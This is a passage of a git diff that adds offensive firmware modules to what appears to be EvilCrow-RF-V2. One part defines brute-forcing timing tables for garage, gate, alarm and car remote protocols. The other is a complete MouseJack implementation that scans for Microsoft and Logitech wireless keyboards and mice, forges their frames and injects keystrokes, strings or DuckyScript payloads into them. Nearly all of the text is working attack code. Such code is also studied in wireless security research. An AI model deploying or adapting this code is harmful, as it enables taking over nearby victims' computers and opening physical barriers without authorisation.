BRUTER_PROTOCOL_NICEFLO_H +#define BRUTER_PROTOCOL_NICEFLO_H + +#include "protocol.h" + +namespace bruter { + +class protocol_niceflo : public c_rf_protocol { +public: + protocol_niceflo() { + transposition_table['0'] = {-700, 1400}; + transposition_table['1'] = {-1400, 700}; + pilot_period = {-25200, 700}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_NICEFLO_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/PhoenixV2.h b/src/modules/bruter/protocols/PhoenixV2.h new file mode 100644 index 0000000..2a20f2f --- /dev/null +++ b/src/modules/bruter/protocols/PhoenixV2.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_PHOENIXV2_H +#define BRUTER_PROTOCOL_PHOENIXV2_H + +#include "protocol.h" + +namespace bruter { + +// Phoenix V2 garage door remote protocol (Europe) +// T=500us, inverted logic, commonly used in European garage systems +class protocol_phoenix_v2 : public c_rf_protocol { +public: + protocol_phoenix_v2() { + transposition_table['0'] = {-500, 1000}; + transposition_table['1'] = {-1000, 500}; + pilot_period = {-15000, 500}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Phox.h b/src/modules/bruter/protocols/Phox.h new file mode 100644 index 0000000..fb23b52 --- /dev/null +++ b/src/modules/bruter/protocols/Phox.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_PHOX_H +#define BRUTER_PROTOCOL_PHOX_H + +#include "protocol.h" + +namespace bruter { + +// Phox gate remote protocol +// T=400us, inverted logic encoding at 433.92 MHz +class protocol_phox : public c_rf_protocol { +public: + protocol_phox() { + transposition_table['0'] = {-400, 800}; + transposition_table['1'] = {-800, 400}; + pilot_period = {-12000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Prastel.h b/src/modules/bruter/protocols/Prastel.h new file mode 100644 index 0000000..6e35e58 --- /dev/null +++ b/src/modules/bruter/protocols/Prastel.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_PRASTEL_H +#define BRUTER_PROTOCOL_PRASTEL_H + +#include "protocol.h" + +namespace bruter { + +// Prastel gate/barrier remote protocol (France) +// T=400us, inverted logic encoding at 433.92 MHz +class protocol_prastel : public c_rf_protocol { +public: + protocol_prastel() { + transposition_table['0'] = {-400, 800}; + transposition_table['1'] = {-800, 400}; + pilot_period = {-12000, 400}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Princeton.h b/src/modules/bruter/protocols/Princeton.h new file mode 100644 index 0000000..d67e346 --- /dev/null +++ b/src/modules/bruter/protocols/Princeton.h @@ -0,0 +1,18 @@ +#pragma once +#include "protocol.h" + +namespace bruter { + +class protocol_princeton : public c_rf_protocol { +public: + protocol_princeton() { + // T=350us tΓ­pico + transposition_table['0'] = {350, -1050, 350, -1050}; // 00 + transposition_table['1'] = {1050, -350, 1050, -350}; // 11 + transposition_table['F'] = {350, -1050, 1050, -350}; // 01 (Float) + pilot_period = {350, -10850}; + stop_bit = {}; + } +}; + +} // namespace bruter \ No newline at end of file diff --git a/src/modules/bruter/protocols/SMC5326.h b/src/modules/bruter/protocols/SMC5326.h new file mode 100644 index 0000000..64d20bf --- /dev/null +++ b/src/modules/bruter/protocols/SMC5326.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_SMC5326_H +#define BRUTER_PROTOCOL_SMC5326_H + +#include "protocol.h" + +namespace bruter { + +class protocol_smc5326 : public c_rf_protocol { +public: + protocol_smc5326() { + // T=320us. Similar al Princeton pero con espacios diferentes. + transposition_table['0'] = {320, -960, 320, -960}; + transposition_table['1'] = {960, -320, 960, -320}; + transposition_table['F'] = {320, -960, 960, -320}; + pilot_period = {320, -11520}; + stop_bit = {}; + } +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_SMC5326_H \ No newline at end of file diff --git a/src/modules/bruter/protocols/StarLine.h b/src/modules/bruter/protocols/StarLine.h new file mode 100644 index 0000000..4a97232 --- /dev/null +++ b/src/modules/bruter/protocols/StarLine.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_STARLINE_H +#define BRUTER_PROTOCOL_STARLINE_H + +#include "protocol.h" + +namespace bruter { + +// StarLine vehicle alarm remote protocol +// T=500us, inverted pilot period at 433.92 MHz +class protocol_starline : public c_rf_protocol { +public: + protocol_starline() { + transposition_table['0'] = {500, -1000}; + transposition_table['1'] = {1000, -500}; + pilot_period = {-10000, 500}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Tedsen.h b/src/modules/bruter/protocols/Tedsen.h new file mode 100644 index 0000000..a6b3ce7 --- /dev/null +++ b/src/modules/bruter/protocols/Tedsen.h @@ -0,0 +1,21 @@ +#ifndef BRUTER_PROTOCOL_TEDSEN_H +#define BRUTER_PROTOCOL_TEDSEN_H + +#include "protocol.h" + +namespace bruter { + +// Tedsen garage door remote protocol (Germany) +// T=600us, robust protocol with inverted pilot period +class protocol_tedsen : public c_rf_protocol { +public: + protocol_tedsen() { + transposition_table['0'] = {600, -1200}; + transposition_table['1'] = {1200, -600}; + pilot_period = {-15000, 600}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/Unilarm.h b/src/modules/bruter/protocols/Unilarm.h new file mode 100644 index 0000000..2faedfe --- /dev/null +++ b/src/modules/bruter/protocols/Unilarm.h @@ -0,0 +1,22 @@ +#ifndef BRUTER_PROTOCOL_UNILARM_H +#define BRUTER_PROTOCOL_UNILARM_H + +#include "protocol.h" + +namespace bruter { + +// Unilarm alarm/security remote protocol +// T=350us, 4-element transposition (similar to Princeton) +// Used at 433.42 MHz +class protocol_unilarm : public c_rf_protocol { +public: + protocol_unilarm() { + transposition_table['0'] = {350, -1050, 350, -1050}; + transposition_table['1'] = {1050, -350, 1050, -350}; + pilot_period = {350, -10850}; + stop_bit = {}; + } +}; + +} // namespace bruter +#endif diff --git a/src/modules/bruter/protocols/protocol.h b/src/modules/bruter/protocols/protocol.h new file mode 100644 index 0000000..a6ae2e0 --- /dev/null +++ b/src/modules/bruter/protocols/protocol.h @@ -0,0 +1,23 @@ +#ifndef BRUTER_PROTOCOL_H +#define BRUTER_PROTOCOL_H + +#include +#include +#include + +namespace bruter { + +// Base class for all RF protocols +class c_rf_protocol { +public: + std::map> transposition_table; + std::vector pilot_period; + std::vector stop_bit; + + c_rf_protocol() = default; + virtual ~c_rf_protocol() = default; +}; + +} // namespace bruter + +#endif // BRUTER_PROTOCOL_H \ No newline at end of file diff --git a/src/modules/nrf/MouseJack.cpp b/src/modules/nrf/MouseJack.cpp new file mode 100644 index 0000000..3cf7b3e --- /dev/null +++ b/src/modules/nrf/MouseJack.cpp @@ -0,0 +1,758 @@ +/** + * @file MouseJack.cpp + * @brief MouseJack scan, fingerprint, and HID injection implementation. + * + * Ported and adapted from the original EvilMouse project by Joel Sernamoreno, + * refactored for the EvilCrow-RF-V2 architecture with BLE command support. + */ + +#include "MouseJack.h" +#include "NrfModule.h" +#include "HidPayloads.h" +#include "core/ble/ClientsManager.h" +#include "BinaryMessages.h" +#include "SD.h" +#include "esp_log.h" + +static const char* TAG = "MouseJack"; + +// Static member initialization +MjState MouseJack::state_ = MJ_IDLE; +MjTarget MouseJack::targets_[MJ_MAX_TARGETS] = {}; +uint8_t MouseJack::targetCount_ = 0; +uint16_t MouseJack::msSequence_ = 0; +volatile bool MouseJack::stopRequest_ = false; +TaskHandle_t MouseJack::taskHandle_ = nullptr; + +// ── Initialization ────────────────────────────────────────────── + +bool MouseJack::init() { + if (!NrfModule::isPresent()) { + ESP_LOGW(TAG, "NRF module not present β€” MouseJack disabled"); + return false; + } + clearTargets(); + state_ = MJ_IDLE; + ESP_LOGI(TAG, "MouseJack initialized"); + return true; +} + +// ── Target Management ─────────────────────────────────────────── + +const MjTarget* MouseJack::getTargets() { + return targets_; +} + +uint8_t MouseJack::getTargetCount() { + return targetCount_; +} + +void MouseJack::clearTargets() { + memset(targets_, 0, sizeof(targets_)); + targetCount_ = 0; +} + +int MouseJack::findTarget(const uint8_t* addr, uint8_t addrLen) { + for (uint8_t i = 0; i < targetCount_; i++) { + if (targets_[i].active && targets_[i].addrLen == addrLen && + memcmp(targets_[i].address, addr, addrLen) == 0) { + return i; + } + } + return -1; +} + +int MouseJack::addTarget(const uint8_t* addr, uint8_t addrLen, + uint8_t channel, MjDeviceType type) { + // Check if already known + int idx = findTarget(addr, addrLen); + if (idx >= 0) { + // Update channel if changed (device may hop) + targets_[idx].channel = channel; + return idx; + } + + if (targetCount_ >= MJ_MAX_TARGETS) { + ESP_LOGW(TAG, "Target list full (%d max)", MJ_MAX_TARGETS); + return -1; + } + + idx = targetCount_++; + memcpy(targets_[idx].address, addr, addrLen); + targets_[idx].addrLen = addrLen; + targets_[idx].channel = channel; + targets_[idx].type = type; + targets_[idx].active = true; + + ESP_LOGI(TAG, "New target #%d: type=%d ch=%d addr=%02X:%02X:%02X:%02X:%02X", + idx, type, channel, + addr[0], addr[1], addrLen > 2 ? addr[2] : 0, + addrLen > 3 ? addr[3] : 0, addrLen > 4 ? addr[4] : 0); + + // Send BLE notification: NRF_DEVICE_FOUND + uint8_t notifBuf[16]; + notifBuf[0] = MSG_NRF_DEVICE_FOUND; + notifBuf[1] = (uint8_t)idx; + notifBuf[2] = (uint8_t)type; + notifBuf[3] = channel; + notifBuf[4] = addrLen; + memcpy(notifBuf + 5, addr, addrLen); + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, notifBuf, 5 + addrLen); + + return idx; +} + +// ── Scanning ──────────────────────────────────────────────────── + +bool MouseJack::startScan() { + if (state_ != MJ_IDLE) { + ESP_LOGW(TAG, "Cannot start scan β€” state=%d", state_); + return false; + } + + if (!NrfModule::isPresent()) { + ESP_LOGE(TAG, "NRF not present"); + return false; + } + + stopRequest_ = false; + state_ = MJ_SCANNING; + + // Create scan task (4KB stack, priority 2, Core 1) + BaseType_t result = xTaskCreatePinnedToCore( + scanTask, "MjScan", 4096, nullptr, 2, &taskHandle_, 1); + + if (result != pdPASS) { + ESP_LOGE(TAG, "Failed to create scan task"); + state_ = MJ_IDLE; + return false; + } + + ESP_LOGI(TAG, "Scan started"); + return true; +} + +void MouseJack::stopScan() { + if (state_ != MJ_SCANNING) return; + stopRequest_ = true; + // Task will clean up and set state to IDLE + ESP_LOGI(TAG, "Scan stop requested"); +} + +void MouseJack::scanTask(void* param) { + ESP_LOGI(TAG, "Scan task started"); + + while (!stopRequest_) { + // Acquire SPI for a burst of channel scans + if (!NrfModule::acquireSpi()) { + ESP_LOGW(TAG, "SPI busy, retrying..."); + vTaskDelay(pdMS_TO_TICKS(100)); + continue; + } + + // Configure promiscuous mode + NrfModule::setDataRate(NRF_2MBPS); + NrfModule::setPromiscuousMode(); + + // Sweep channels 2-84 (2.402 - 2.484 GHz) + for (uint8_t ch = 2; ch <= 84 && !stopRequest_; ch++) { + NrfModule::setChannel(ch); + + // Listen for a short time on each channel + for (int tries = 0; tries < 3 && !stopRequest_; tries++) { + uint8_t rxBuf[32]; + uint8_t rxLen = NrfModule::receive(rxBuf, sizeof(rxBuf)); + + if (rxLen > 0) { + fingerprint(rxBuf, rxLen, ch); + } + delayMicroseconds(200); + } + } + + NrfModule::ceLow(); + NrfModule::releaseSpi(); + + // Small delay between full scans + vTaskDelay(pdMS_TO_TICKS(50)); + } + + // Cleanup + state_ = MJ_IDLE; + taskHandle_ = nullptr; + ESP_LOGI(TAG, "Scan task ended, %d targets found", targetCount_); + + // Send scan complete notification + uint8_t notif[2] = { MSG_NRF_SCAN_COMPLETE, targetCount_ }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, notif, sizeof(notif)); + + vTaskDelete(nullptr); +} + +// ── CRC16-CCITT for promiscuous packet validation ─────────────── + +/** + * Update CRC16-CCITT with 1-8 bits from a given byte. + * Polynomial: 0x1021 Initial: 0xFFFF + * Used by ESB (Enhanced ShockBurst) protocol for packet verification. + */ +static uint16_t crcUpdate(uint16_t crc, uint8_t byte, uint8_t bits) { + crc = crc ^ ((uint16_t)byte << 8); + while (bits--) { + if ((crc & 0x8000) == 0x8000) + crc = (crc << 1) ^ 0x1021; + else + crc = crc << 1; + } + return crc & 0xFFFF; +} + +// ── Fingerprinting ────────────────────────────────────────────── + +void MouseJack::fingerprint(const uint8_t* rawBuf, uint8_t size, uint8_t channel) { + if (size < 10) return; + + // In promiscuous mode we receive raw on-air data. The ESB packet format: + // [preamble:1][address:2-5][PCF+payload_length:9bit][payload:N][CRC:2] + // Since we're using 2-byte address width with 0xAA or 0x55 matching the + // nRF24 preamble, the first bytes of the buffer contain the real device + // address followed by the Packet Control Field. + // + // Following the uC_mousejack / WHID approach: + // - Try both the raw buffer and a 1-bit right-shifted version + // (catches both 0xAA and 0x55 preamble alignments) + // - Validate via CRC16-CCITT before accepting a packet + + uint8_t buf[37]; + if (size > 37) size = 37; + memcpy(buf, rawBuf, size); + + for (int offset = 0; offset < 2; offset++) { + // On second pass, shift entire buffer right by 1 bit + // This handles the case where preamble alignment is off by 1 bit + if (offset == 1) { + memcpy(buf, rawBuf, size); // Reset to original + for (int x = size - 1; x >= 0; x--) { + if (x > 0) + buf[x] = (buf[x - 1] << 7) | (buf[x] >> 1); + else + buf[x] = buf[x] >> 1; + } + } + + // Read payload length from Packet Control Field + // The PCF starts at byte index 5 (after 5-byte address) + // but with our 2-byte promiscuous address, address is at [0..4], + // and payload length is in the upper 6 bits of byte [5] + uint8_t payloadLength = buf[5] >> 2; + + // Validate: payload must fit within our buffer minus overhead + // (address:5 + PCF:1 + CRC:2 = 8 bytes overhead) + if (payloadLength == 0 || payloadLength > (size - 9)) { + continue; + } + + // Extract and verify CRC16-CCITT + uint16_t crcGiven = ((uint16_t)buf[6 + payloadLength] << 9) | + ((uint16_t)buf[7 + payloadLength] << 1); + crcGiven = (crcGiven << 8) | (crcGiven >> 8); + if (buf[8 + payloadLength] & 0x80) crcGiven |= 0x0100; + + uint16_t crcCalc = 0xFFFF; + for (int x = 0; x < 6 + payloadLength; x++) { + crcCalc = crcUpdate(crcCalc, buf[x], 8); + } + crcCalc = crcUpdate(crcCalc, buf[6 + payloadLength] & 0x80, 1); + crcCalc = (crcCalc << 8) | (crcCalc >> 8); + + if (crcCalc != crcGiven) { + continue; // CRC mismatch β€” not a valid ESB packet + } + + // CRC verified! Extract the real device address (bytes 0-4) + uint8_t addr[5]; + memcpy(addr, buf, 5); + + // Extract the actual ESB payload (after PCF byte) + uint8_t esbPayload[32]; + for (int x = 0; x < payloadLength; x++) { + esbPayload[x] = ((buf[6 + x] << 1) & 0xFF) | (buf[7 + x] >> 7); + } + + // Fingerprint the device from the ESB payload + fingerprintPayload(esbPayload, payloadLength, addr, channel); + return; // Found a valid packet, stop trying + } +} + +void MouseJack::fingerprintPayload(const uint8_t* payload, uint8_t size, + const uint8_t* addr, uint8_t channel) { + // Microsoft Mouse detection: + // size == 19 && payload[0] == 0x08 && payload[6] == 0x40 β†’ unencrypted + // size == 19 && payload[0] == 0x0A β†’ encrypted + if (size == 19) { + if (payload[0] == 0x08 && payload[6] == 0x40) { + addTarget(addr, 5, channel, MJ_DEVICE_MICROSOFT); + return; + } + if (payload[0] == 0x0A) { + addTarget(addr, 5, channel, MJ_DEVICE_MS_CRYPT); + return; + } + } + + // Logitech detection (first byte is always 0x00): + // size == 10 && payload[1] == 0xC2 β†’ keepalive + // size == 10 && payload[1] == 0x4F β†’ mouse movement + // size == 22 && payload[1] == 0xD3 β†’ encrypted keystroke + // size == 5 && payload[1] == 0x40 β†’ wake-up + if (payload[0] == 0x00) { + bool isLogitech = false; + if (size == 10 && (payload[1] == 0xC2 || payload[1] == 0x4F)) + isLogitech = true; + if (size == 22 && payload[1] == 0xD3) + isLogitech = true; + if (size == 5 && payload[1] == 0x40) + isLogitech = true; + + if (isLogitech) { + addTarget(addr, 5, channel, MJ_DEVICE_LOGITECH); + return; + } + } +} + +// ── Attacks ───────────────────────────────────────────────────── + +// Attack task parameter (passed via pvParameter) +struct AttackParams { + uint8_t targetIndex; + uint8_t* payload; + size_t payloadLen; + char* text; // For string injection + char* filePath; // For DuckyScript + enum { RAW_HID, STRING, DUCKY } mode; + + ~AttackParams() { + delete[] payload; + delete[] text; + delete[] filePath; + } +}; + +bool MouseJack::startAttack(uint8_t targetIndex, + const uint8_t* hidPayload, size_t payloadLen) { + if (state_ != MJ_IDLE && state_ != MJ_FOUND) { + ESP_LOGW(TAG, "Cannot attack β€” state=%d", state_); + return false; + } + if (targetIndex >= targetCount_ || !targets_[targetIndex].active) { + ESP_LOGE(TAG, "Invalid target index %d", targetIndex); + return false; + } + + auto* params = new AttackParams(); + params->targetIndex = targetIndex; + params->payload = new uint8_t[payloadLen]; + memcpy(params->payload, hidPayload, payloadLen); + params->payloadLen = payloadLen; + params->text = nullptr; + params->filePath = nullptr; + params->mode = AttackParams::RAW_HID; + + stopRequest_ = false; + state_ = MJ_ATTACKING; + + BaseType_t result = xTaskCreatePinnedToCore( + attackTask, "MjAttack", 4096, params, 2, &taskHandle_, 1); + + if (result != pdPASS) { + delete params; + state_ = MJ_IDLE; + return false; + } + return true; +} + +bool MouseJack::injectString(uint8_t targetIndex, const char* text) { + if (state_ != MJ_IDLE && state_ != MJ_FOUND) return false; + if (targetIndex >= targetCount_) return false; + + auto* params = new AttackParams(); + params->targetIndex = targetIndex; + params->payload = nullptr; + params->payloadLen = 0; + params->text = new char[strlen(text) + 1]; + strcpy(params->text, text); + params->filePath = nullptr; + params->mode = AttackParams::STRING; + + stopRequest_ = false; + state_ = MJ_ATTACKING; + + BaseType_t result = xTaskCreatePinnedToCore( + attackTask, "MjAttack", 4096, params, 2, &taskHandle_, 1); + + if (result != pdPASS) { + delete params; + state_ = MJ_IDLE; + return false; + } + return true; +} + +bool MouseJack::executeDuckyScript(uint8_t targetIndex, const char* filePath) { + if (state_ != MJ_IDLE && state_ != MJ_FOUND) return false; + if (targetIndex >= targetCount_) return false; + + auto* params = new AttackParams(); + params->targetIndex = targetIndex; + params->payload = nullptr; + params->payloadLen = 0; + params->text = nullptr; + params->filePath = new char[strlen(filePath) + 1]; + strcpy(params->filePath, filePath); + params->mode = AttackParams::DUCKY; + + stopRequest_ = false; + state_ = MJ_ATTACKING; + + BaseType_t result = xTaskCreatePinnedToCore( + attackTask, "MjAttack", 6144, params, 2, &taskHandle_, 1); + + if (result != pdPASS) { + delete params; + state_ = MJ_IDLE; + return false; + } + return true; +} + +void MouseJack::stopAttack() { + if (state_ != MJ_ATTACKING) return; + stopRequest_ = true; + ESP_LOGI(TAG, "Attack stop requested"); +} + +void MouseJack::attackTask(void* param) { + auto* params = static_cast(param); + uint8_t tIdx = params->targetIndex; + const MjTarget& target = targets_[tIdx]; + + ESP_LOGI(TAG, "Attack task started on target %d (type=%d)", tIdx, target.type); + + if (!NrfModule::acquireSpi()) { + ESP_LOGE(TAG, "SPI busy for attack"); + goto cleanup; + } + + // Configure TX mode for the target (matches uC_mousejack start_transmit) + NrfModule::setDataRate(NRF_2MBPS); + NrfModule::setPALevel(3); // Max power + NrfModule::setChannel(target.channel); + NrfModule::setAddressWidth(5); // Always use 5-byte addresses for TX + NrfModule::setTxMode(target.address, target.addrLen); + + // Sync MS serial sequence with 6 null frames (from uC_mousejack) + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msSequence_ = 0; + for (int i = 0; i < 6; i++) { + msTransmit(target, 0, 0); + } + } + + switch (params->mode) { + case AttackParams::RAW_HID: { + // Inject raw HID payload bytes + // Interpret as pairs: [modifier, keycode, modifier, keycode, ...] + for (size_t i = 0; i + 1 < params->payloadLen && !stopRequest_; i += 2) { + uint8_t meta = params->payload[i]; + uint8_t hid = params->payload[i + 1]; + + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, meta, hid); + } else if (target.type == MJ_DEVICE_LOGITECH) { + logTransmit(target, meta, &hid, 1); + } + vTaskDelay(pdMS_TO_TICKS(10)); + } + break; + } + + case AttackParams::STRING: { + // Inject ASCII string as keystrokes + const char* text = params->text; + for (size_t i = 0; text[i] != '\0' && !stopRequest_; i++) { + HidKeyEntry entry; + if (text[i] == '\n') { + entry.modifier = HID_MOD_NONE; + entry.keycode = HID_KEY_ENTER; + } else if (!asciiToHid(text[i], entry)) { + continue; // Skip unmappable chars + } + + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, entry.modifier, entry.keycode); + } else if (target.type == MJ_DEVICE_LOGITECH) { + logTransmit(target, entry.modifier, &entry.keycode, 1); + } + + // Key release + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, 0, 0); + } else { + uint8_t none = 0; + logTransmit(target, 0, &none, 1); + } + vTaskDelay(pdMS_TO_TICKS(5)); + } + break; + } + + case AttackParams::DUCKY: { + // Parse and execute DuckyScript file + File file = SD.open(params->filePath); + if (!file) { + ESP_LOGE(TAG, "Failed to open DuckyScript: %s", params->filePath); + break; + } + + while (file.available() && !stopRequest_) { + String line = file.readStringUntil('\n'); + line.trim(); + if (line.length() > 0) { + parseDuckyLine(line, tIdx); + } + } + file.close(); + break; + } + } + + NrfModule::ceLow(); + NrfModule::releaseSpi(); + +cleanup: + delete params; + state_ = MJ_IDLE; + taskHandle_ = nullptr; + + // Send attack complete notification + uint8_t notif[2] = { MSG_NRF_ATTACK_COMPLETE, tIdx }; + ClientsManager::getInstance().notifyAllBinary( + NotificationType::NrfEvent, notif, sizeof(notif)); + + ESP_LOGI(TAG, "Attack task ended"); + vTaskDelete(nullptr); +} + +// ── Microsoft Protocol ────────────────────────────────────────── + +void MouseJack::msTransmit(const MjTarget& target, uint8_t meta, uint8_t hid) { + // Microsoft wireless keyboard frame (19 bytes) + // Layout (from uC_mousejack / WHID reference): + // [0] = 0x08 frame type (keyboard) + // [1..3] = device info / padding + // [4] = sequence low byte + // [5] = sequence high byte + // [6] = 0x43 (67) = keyboard data flag + // [7] = HID modifier + // [8] = reserved + // [9] = HID keycode + // [10..17] = padding zeros + // [18] = checksum + uint8_t frame[19]; + memset(frame, 0, sizeof(frame)); + + frame[0] = 0x08; // Frame type: keyboard + frame[4] = (uint8_t)(msSequence_ & 0xFF); // Sequence low + frame[5] = (uint8_t)((msSequence_ >> 8) & 0xFF); // Sequence high + frame[6] = 67; // 0x43 = keyboard data flag + frame[7] = meta; // HID modifier + frame[9] = hid; // HID keycode + + msSequence_++; + + // Apply checksum + msChecksum(frame, sizeof(frame)); + + // Apply encryption if target is encrypted Microsoft + if (target.type == MJ_DEVICE_MS_CRYPT) { + msCrypt(frame, sizeof(frame), target.address); + } + + // Transmit key down + NrfModule::transmit(frame, sizeof(frame)); + delay(5); + + // Transmit key up (null keystroke, same frame structure) + if (target.type == MJ_DEVICE_MS_CRYPT) { + // Decrypt first so we can modify plain data + msCrypt(frame, sizeof(frame), target.address); + } + for (int n = 4; n < 18; n++) frame[n] = 0; + frame[4] = (uint8_t)(msSequence_ & 0xFF); + frame[5] = (uint8_t)((msSequence_ >> 8) & 0xFF); + frame[6] = 67; + msSequence_++; + msChecksum(frame, sizeof(frame)); + if (target.type == MJ_DEVICE_MS_CRYPT) { + msCrypt(frame, sizeof(frame), target.address); + } + NrfModule::transmit(frame, sizeof(frame)); + delay(5); +} + +void MouseJack::msCrypt(uint8_t* payload, uint8_t size, const uint8_t* addr) { + // Microsoft "encryption": XOR bytes from index 4 onwards with address + // Each byte at position i (β‰₯4) is XORed with addr[(i-4) % 5] + for (uint8_t i = 4; i < size; i++) { + payload[i] ^= addr[((i - 4) % 5)]; + } +} + +void MouseJack::msChecksum(uint8_t* payload, uint8_t size) { + // Microsoft uses a simple checksum in the last byte + // XOR all bytes except the last one + uint8_t checksum = 0; + for (uint8_t i = 0; i < size - 1; i++) { + checksum ^= payload[i]; + } + // Negate for verification + payload[size - 1] = ~checksum; +} + +// ── Logitech Protocol ─────────────────────────────────────────── + +void MouseJack::logTransmit(const MjTarget& target, uint8_t meta, + const uint8_t* keys, uint8_t keysLen) { + // Logitech Unifying keyboard frame (10 bytes) + // [0x00][type:0xC1][meta:1][key1..key6][checksum] + uint8_t frame[10]; + memset(frame, 0, sizeof(frame)); + + frame[0] = 0x00; // Start byte + frame[1] = 0xC1; // Set Keep-Alive Timeout type (keyboard frame) + frame[2] = meta; // Modifier keys + + // Fill in key codes (up to 6) + for (uint8_t i = 0; i < keysLen && i < 6; i++) { + frame[3 + i] = keys[i]; + } + + // Logitech checksum: 0xFF minus sum of all preceding bytes, plus 1 + // This is the two's complement checksum used by Logitech Unifying. + uint8_t cksum = 0xFF; + for (uint8_t i = 0; i < 9; i++) { + cksum -= frame[i]; + } + cksum++; + frame[9] = cksum; + + NrfModule::transmit(frame, sizeof(frame)); +} + +// ── DuckyScript Parser ────────────────────────────────────────── + +bool MouseJack::parseDuckyLine(const String& line, uint8_t targetIndex) { + const MjTarget& target = targets_[targetIndex]; + + if (line.startsWith("REM") || line.startsWith("//")) { + return true; // Comment, skip + } + + if (line.startsWith("DELAY")) { + int delayMs = line.substring(6).toInt(); + if (delayMs > 0 && delayMs <= 30000) { + vTaskDelay(pdMS_TO_TICKS(delayMs)); + } + return true; + } + + if (line.startsWith("STRING ")) { + String text = line.substring(7); + for (size_t i = 0; i < text.length() && !stopRequest_; i++) { + HidKeyEntry entry; + if (!asciiToHid(text.charAt(i), entry)) continue; + + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, entry.modifier, entry.keycode); + } else { + logTransmit(target, entry.modifier, &entry.keycode, 1); + } + // Key release + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, 0, 0); + } else { + uint8_t none = 0; + logTransmit(target, 0, &none, 1); + } + vTaskDelay(pdMS_TO_TICKS(5)); + } + return true; + } + + // Handle key names: ENTER, TAB, GUI r, CTRL ALT DELETE, etc. + // Split by space to handle combinations like "GUI r" + uint8_t combinedMod = 0; + uint8_t keycode = 0; + + int spaceIdx = line.indexOf(' '); + String firstToken = (spaceIdx > 0) ? line.substring(0, spaceIdx) : line; + String secondToken = (spaceIdx > 0) ? line.substring(spaceIdx + 1) : ""; + + firstToken.trim(); + secondToken.trim(); + + // Look up first token in DUCKY_KEYS + bool found = false; + for (int i = 0; DUCKY_KEYS[i].name != nullptr; i++) { + if (firstToken.equalsIgnoreCase(DUCKY_KEYS[i].name)) { + combinedMod = DUCKY_KEYS[i].modifier; + keycode = DUCKY_KEYS[i].keycode; + found = true; + break; + } + } + + if (!found) return false; + + // If there's a second token, it could be a single char key or another key name + if (secondToken.length() == 1) { + HidKeyEntry entry; + if (asciiToHid(secondToken.charAt(0), entry)) { + combinedMod |= entry.modifier; + keycode = entry.keycode; + } + } else if (secondToken.length() > 1) { + for (int i = 0; DUCKY_KEYS[i].name != nullptr; i++) { + if (secondToken.equalsIgnoreCase(DUCKY_KEYS[i].name)) { + combinedMod |= DUCKY_KEYS[i].modifier; + if (DUCKY_KEYS[i].keycode != 0) { + keycode = DUCKY_KEYS[i].keycode; + } + break; + } + } + } + + // Send the keystroke + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, combinedMod, keycode); + } else { + logTransmit(target, combinedMod, &keycode, 1); + } + + // Key release + vTaskDelay(pdMS_TO_TICKS(10)); + if (target.type == MJ_DEVICE_MICROSOFT || target.type == MJ_DEVICE_MS_CRYPT) { + msTransmit(target, 0, 0); + } else { + uint8_t none = 0; + logTransmit(target, 0, &none, 1); + } + + return true; +} diff --git a/src/modules/nrf/MouseJack.h b/src/modules/nrf/MouseJack.h new file mode 100644 index 0000000..652208d --- /dev/null +++ b/src/modules/nrf/MouseJack.h @@ -0,0 +1,140 @@ +/** + * @file MouseJack.h + * @brief MouseJack scan, fingerprint, and attack logic. + * + * Supports Microsoft (encrypted + unencrypted) and Logitech wireless + * mice/keyboards via nRF24L01+. + */ + +#ifndef MOUSEJACK_H +#define MOUSEJACK_H + +#include +#include + +/// Maximum number of discovered targets to track +#define MJ_MAX_TARGETS 16 + +/// Device brand/type identification +enum MjDeviceType : uint8_t { + MJ_DEVICE_NONE = 0, + MJ_DEVICE_MICROSOFT = 1, + MJ_DEVICE_MS_CRYPT = 2, // Microsoft encrypted + MJ_DEVICE_LOGITECH = 3, +}; + +/// MouseJack state machine +enum MjState : uint8_t { + MJ_IDLE = 0, + MJ_SCANNING = 1, + MJ_FOUND = 2, + MJ_ATTACKING = 3, +}; + +/// A discovered wireless device target +struct MjTarget { + uint8_t address[5]; // nRF address (up to 5 bytes) + uint8_t addrLen; // Address length (2-5) + uint8_t channel; // Channel where device was found + MjDeviceType type; // Detected brand + int8_t rssi; // Signal strength indicator + bool active; // Is this slot in use? +}; + +/** + * @class MouseJack + * @brief High-level MouseJack operations (scan + attack). + * + * Runs as a FreeRTOS task when scanning or attacking. + * Must hold the SPI mutex (acquired/released per operation burst). + */ +class MouseJack { +public: + /// Initialize MouseJack (requires NrfModule::init() first). + static bool init(); + + // ── Scanning ──────────────────────────────────────────────── + /// Start background scan task (channel sweep 2-84). + static bool startScan(); + /// Stop scan task. + static void stopScan(); + + // ── Target Management ─────────────────────────────────────── + /// Get current list of discovered targets. + static const MjTarget* getTargets(); + /// Get count of discovered targets. + static uint8_t getTargetCount(); + /// Clear target 